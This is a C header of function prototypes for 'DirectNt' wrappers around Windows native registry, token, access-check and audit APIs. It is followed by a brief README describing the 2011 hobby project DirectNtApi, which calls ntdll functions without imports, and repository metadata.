DirectNtLoadKey2(
IN POBJECT_ATTRIBUTES TargetKey,
IN POBJECT_ATTRIBUTES SourceFile,
IN ULONG Flags
);
NTSTATUS
NTAPI
DirectNtLoadKeyEx(
IN POBJECT_ATTRIBUTES TargetKey,
IN POBJECT_ATTRIBUTES SourceFile,
IN ULONG Flags,
IN OPTIONAL HANDLE TrustClassKey
);
NTSTATUS
NTAPI
DirectNtOpenKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
NTSTATUS
NTAPI
DirectNtQueryKey(
IN HANDLE KeyHandle,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSTATUS
NTAPI
DirectNtQueryValueKey(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG Length,
OUT PULONG ResultLength
);
NTSTATUS
NTAPI
DirectNtQueryMultipleValueKey(
IN HANDLE KeyHandle,
IN PKEY_VALUE_ENTRY ValueEntries,
IN ULONG EntryCount,
OUT PVOID ValueBuffer,
IN OUT PULONG BufferLength,
OUT OPTIONAL PULONG RequiredBufferLength
);
NTSTATUS
NTAPI
DirectNtReplaceKey(
IN POBJECT_ATTRIBUTES NewFile,
IN HANDLE TargetHandle,
IN POBJECT_ATTRIBUTES OldFile
);
NTSTATUS
NTAPI
DirectNtRenameKey(
IN HANDLE KeyHandle,
IN PUNICODE_STRING NewName
);
NTSTATUS
NTAPI
DirectNtCompactKeys(
IN ULONG Count,
IN HANDLE KeyArray[]
);
NTSTATUS
NTAPI
DirectNtCompressKey(
IN HANDLE Key
);
NTSTATUS
NTAPI
DirectNtRestoreKey(
IN HANDLE KeyHandle,
IN HANDLE FileHandle,
IN ULONG Flags
);
NTSTATUS
NTAPI
DirectNtSaveKey(
IN HANDLE KeyHandle,
IN HANDLE FileHandle
);
NTSTATUS
NTAPI
DirectNtSaveKeyEx(
IN HANDLE KeyHandle,
IN HANDLE FileHandle,
IN ULONG Format
);
NTSTATUS
NTAPI
DirectNtSaveMergedKeys(
IN HANDLE HighPrecedenceKeyHandle,
IN HANDLE LowPrecedenceKeyHandle,
IN HANDLE FileHandle
);
NTSTATUS
NTAPI
DirectNtSetValueKey(
IN HANDLE KeyHandle,
IN PUNICODE_STRING ValueName,
IN OPTIONAL ULONG TitleIndex,
IN ULONG Type,
IN PVOID Data,
IN ULONG DataSize
);
NTSTATUS
NTAPI
DirectNtUnloadKey(
IN POBJECT_ATTRIBUTES TargetKey
);
NTSTATUS
NTAPI
DirectNtUnloadKey2(
IN POBJECT_ATTRIBUTES TargetKey,
IN ULONG Flags
);
NTSTATUS
NTAPI
DirectNtUnloadKeyEx(
IN POBJECT_ATTRIBUTES TargetKey,
IN OPTIONAL HANDLE Event
);
NTSTATUS
NTAPI
DirectNtSetInformationKey(
IN HANDLE KeyHandle,
IN KEY_SET_INFORMATION_CLASS KeySetInformationClass,
IN PVOID KeySetInformation,
IN ULONG KeySetInformationLength
);
NTSTATUS
NTAPI
DirectNtQueryOpenSubKeys(
IN POBJECT_ATTRIBUTES TargetKey,
OUT PULONG HandleCount
);
NTSTATUS
NTAPI
DirectNtQueryOpenSubKeysEx(
IN POBJECT_ATTRIBUTES TargetKey,
IN ULONG BufferLength,
OUT PVOID Buffer,
OUT PULONG RequiredSize
);
NTSTATUS
NTAPI
DirectNtLockRegistryKey(
IN HANDLE KeyHandle
);
NTSTATUS
NTAPI
DirectNtLockProductActivationKeys(
IN OUT OPTIONAL ULONG *pPrivateVer,
OUT OPTIONAL ULONG *pSafeMode
);
NTSTATUS
NTAPI
DirectNtAccessCheck(
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN HANDLE ClientToken,
IN ACCESS_MASK DesiredAccess,
IN PGENERIC_MAPPING GenericMapping,
OUT PPRIVILEGE_SET PrivilegeSet,
IN OUT PULONG PrivilegeSetLength,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus
);
NTSTATUS
NTAPI
DirectNtAccessCheckByType(
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN OPTIONAL PSID PrincipalSelfSid,
IN HANDLE ClientToken,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_TYPE_LIST ObjectTypeList,
IN ULONG ObjectTypeListLength,
IN PGENERIC_MAPPING GenericMapping,
OUT PPRIVILEGE_SET PrivilegeSet,
IN OUT PULONG PrivilegeSetLength,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus
);
NTSTATUS
NTAPI
DirectNtAccessCheckByTypeResultList(
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN OPTIONAL PSID PrincipalSelfSid,
IN HANDLE ClientToken,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_TYPE_LIST ObjectTypeList,
IN ULONG ObjectTypeListLength,
IN PGENERIC_MAPPING GenericMapping,
OUT PPRIVILEGE_SET PrivilegeSet,
IN OUT PULONG PrivilegeSetLength,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus
);
NTSTATUS
NTAPI
DirectNtCreateToken(
OUT PHANDLE TokenHandle,
IN ACCESS_MASK DesiredAccess,
IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes,
IN TOKEN_TYPE TokenType,
IN PLUID AuthenticationId,
IN PLARGE_INTEGER ExpirationTime,
IN PTOKEN_USER User,
IN PTOKEN_GROUPS Groups,
IN PTOKEN_PRIVILEGES Privileges,
IN OPTIONAL PTOKEN_OWNER Owner,
IN PTOKEN_PRIMARY_GROUP PrimaryGroup,
IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl,
IN PTOKEN_SOURCE TokenSource
);
NTSTATUS
NTAPI
DirectNtCompareTokens(
IN HANDLE FirstTokenHandle,
IN HANDLE SecondTokenHandle,
OUT PBOOLEAN Equal
);
NTSTATUS
NTAPI
DirectNtOpenThreadToken(
IN HANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN BOOLEAN OpenAsSelf,
OUT PHANDLE TokenHandle
);
NTSTATUS
NTAPI
DirectNtOpenThreadTokenEx(
IN HANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN BOOLEAN OpenAsSelf,
IN ULONG HandleAttributes,
OUT PHANDLE TokenHandle
);
NTSTATUS
NTAPI
DirectNtOpenProcessToken(
IN HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
OUT PHANDLE TokenHandle
);
NTSTATUS
NTAPI
DirectNtOpenProcessTokenEx(
IN HANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN ULONG HandleAttributes,
OUT PHANDLE TokenHandle
);
NTSTATUS
NTAPI
DirectNtDuplicateToken(
IN HANDLE ExistingTokenHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN BOOLEAN EffectiveOnly,
IN TOKEN_TYPE TokenType,
OUT PHANDLE NewTokenHandle
);
NTSTATUS
NTAPI
DirectNtFilterToken(
IN HANDLE ExistingTokenHandle,
IN ULONG Flags,
IN OPTIONAL PTOKEN_GROUPS SidsToDisable,
IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete,
IN OPTIONAL PTOKEN_GROUPS RestrictedSids,
OUT PHANDLE NewTokenHandle
);
NTSTATUS
NTAPI
DirectNtImpersonateAnonymousToken(
IN HANDLE ThreadHandle
);
NTSTATUS
NTAPI
DirectNtQueryInformationToken(
IN HANDLE TokenHandle,
IN TOKEN_INFORMATION_CLASS TokenInformationClass,
OUT PVOID TokenInformation,
IN ULONG TokenInformationLength,
OUT PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtSetInformationToken(
IN HANDLE TokenHandle,
IN TOKEN_INFORMATION_CLASS TokenInformationClass,
IN PVOID TokenInformation,
IN ULONG TokenInformationLength
);
NTSTATUS
NTAPI
DirectNtAdjustPrivilegesToken(
IN HANDLE TokenHandle,
IN BOOLEAN DisableAllPrivileges,
IN OPTIONAL PTOKEN_PRIVILEGES NewState,
IN OPTIONAL ULONG BufferLength,
OUT OPTIONAL PTOKEN_PRIVILEGES PreviousState,
OUT OPTIONAL PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtAdjustGroupsToken(
IN HANDLE TokenHandle,
IN BOOLEAN ResetToDefault,
IN PTOKEN_GROUPS NewState,
IN OPTIONAL ULONG BufferLength,
OUT OPTIONAL PTOKEN_GROUPS PreviousState,
OUT PULONG ReturnLength
);
NTSTATUS
NTAPI
DirectNtPrivilegeCheck(
IN HANDLE ClientToken,
IN OUT PPRIVILEGE_SET RequiredPrivileges,
OUT PBOOLEAN Result
);
NTSTATUS
NTAPI
DirectNtAccessCheckAndAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN PUNICODE_STRING ObjectTypeName,
IN PUNICODE_STRING ObjectName,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN ACCESS_MASK DesiredAccess,
IN PGENERIC_MAPPING GenericMapping,
IN BOOLEAN ObjectCreation,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus,
OUT PBOOLEAN GenerateOnClose
);
NTSTATUS
NTAPI
DirectNtAccessCheckByTypeAndAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN PUNICODE_STRING ObjectTypeName,
IN PUNICODE_STRING ObjectName,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN OPTIONAL PSID PrincipalSelfSid,
IN ACCESS_MASK DesiredAccess,
IN AUDIT_EVENT_TYPE AuditType,
IN ULONG Flags,
IN OPTIONAL POBJECT_TYPE_LIST ObjectTypeList,
IN ULONG ObjectTypeListLength,
IN PGENERIC_MAPPING GenericMapping,
IN BOOLEAN ObjectCreation,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus,
OUT PBOOLEAN GenerateOnClose
);
NTSTATUS
NTAPI
DirectNtAccessCheckByTypeResultListAndAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN PUNICODE_STRING ObjectTypeName,
IN PUNICODE_STRING ObjectName,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN OPTIONAL PSID PrincipalSelfSid,
IN ACCESS_MASK DesiredAccess,
IN AUDIT_EVENT_TYPE AuditType,
IN ULONG Flags,
IN OPTIONAL POBJECT_TYPE_LIST ObjectTypeList,
IN ULONG ObjectTypeListLength,
IN PGENERIC_MAPPING GenericMapping,
IN BOOLEAN ObjectCreation,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus,
OUT PBOOLEAN GenerateOnClose
);
NTSTATUS
NTAPI
DirectNtAccessCheckByTypeResultListAndAuditAlarmByHandle(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN HANDLE ClientToken,
IN PUNICODE_STRING ObjectTypeName,
IN PUNICODE_STRING ObjectName,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN OPTIONAL PSID PrincipalSelfSid,
IN ACCESS_MASK DesiredAccess,
IN AUDIT_EVENT_TYPE AuditType,
IN ULONG Flags,
IN OPTIONAL POBJECT_TYPE_LIST ObjectTypeList,
IN ULONG ObjectTypeListLength,
IN PGENERIC_MAPPING GenericMapping,
IN BOOLEAN ObjectCreation,
OUT PACCESS_MASK GrantedAccess,
OUT PNTSTATUS AccessStatus,
OUT PBOOLEAN GenerateOnClose
);
NTSTATUS
NTAPI
DirectNtOpenObjectAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN PUNICODE_STRING ObjectTypeName,
IN PUNICODE_STRING ObjectName,
IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor,
IN HANDLE ClientToken,
IN ACCESS_MASK DesiredAccess,
IN ACCESS_MASK GrantedAccess,
IN OPTIONAL PPRIVILEGE_SET Privileges,
IN BOOLEAN ObjectCreation,
IN BOOLEAN AccessGranted,
OUT PBOOLEAN GenerateOnClose
);
NTSTATUS
NTAPI
DirectNtPrivilegeObjectAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN HANDLE ClientToken,
IN ACCESS_MASK DesiredAccess,
IN PPRIVILEGE_SET Privileges,
IN BOOLEAN AccessGranted
);
NTSTATUS
NTAPI
DirectNtCloseObjectAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN BOOLEAN GenerateOnClose
);
NTSTATUS
NTAPI
DirectNtDeleteObjectAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN OPTIONAL PVOID HandleId,
IN BOOLEAN GenerateOnClose
);
NTSTATUS
NTAPI
DirectNtPrivilegedServiceAuditAlarm(
IN PUNICODE_STRING SubsystemName,
IN PUNICODE_STRING ServiceName,
IN HANDLE ClientToken,
IN PPRIVILEGE_SET Privileges,
IN BOOLEAN AccessGranted
);
NTSTATUS
NTAPI
DirectNtTraceEvent(
IN HANDLE TraceHandle,
IN ULONG Flags,
IN ULONG FieldSize,
IN PVOID Fields
);
NTSTATUS
NTAPI
DirectNtContinue(
IN PCONTEXT ContextRecord,
IN BOOLEAN TestAlert
);
NTSTATUS
NTAPI
DirectNtRaiseException(
IN PEXCEPTION_RECORD ExceptionRecord,
IN PCONTEXT ContextRecord,
IN BOOLEAN FirstChance
);
<file_sep>/README.md
# DirectNtApi
# simple method to make ntapi function call without importing or walking export table. Work under Windows 7, 8 and 10.
# This method is OLD! Not recommend use!!
DirectNtApi is project I create in 2011. I look for method to call ntdll api without importing or typedef. Primary motivation was simply "because it interest me", not to mention hooking ntdll.dll is not creative, no interesting.
See usage.txt for details.
My someone find a value in this nine year old code =>
Be well,
-Fyyre
| 568dd5e3e82b3a4f58c04f4e1bacb2937668c02a | [
"Markdown",
"C"
] | 2 | C | Fyyre/directntapi | 1a4e6704e2ae03b563575a639fcefe2f887b13f8 | bae629ed51adcd765b4bedff7c1789185903f430 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.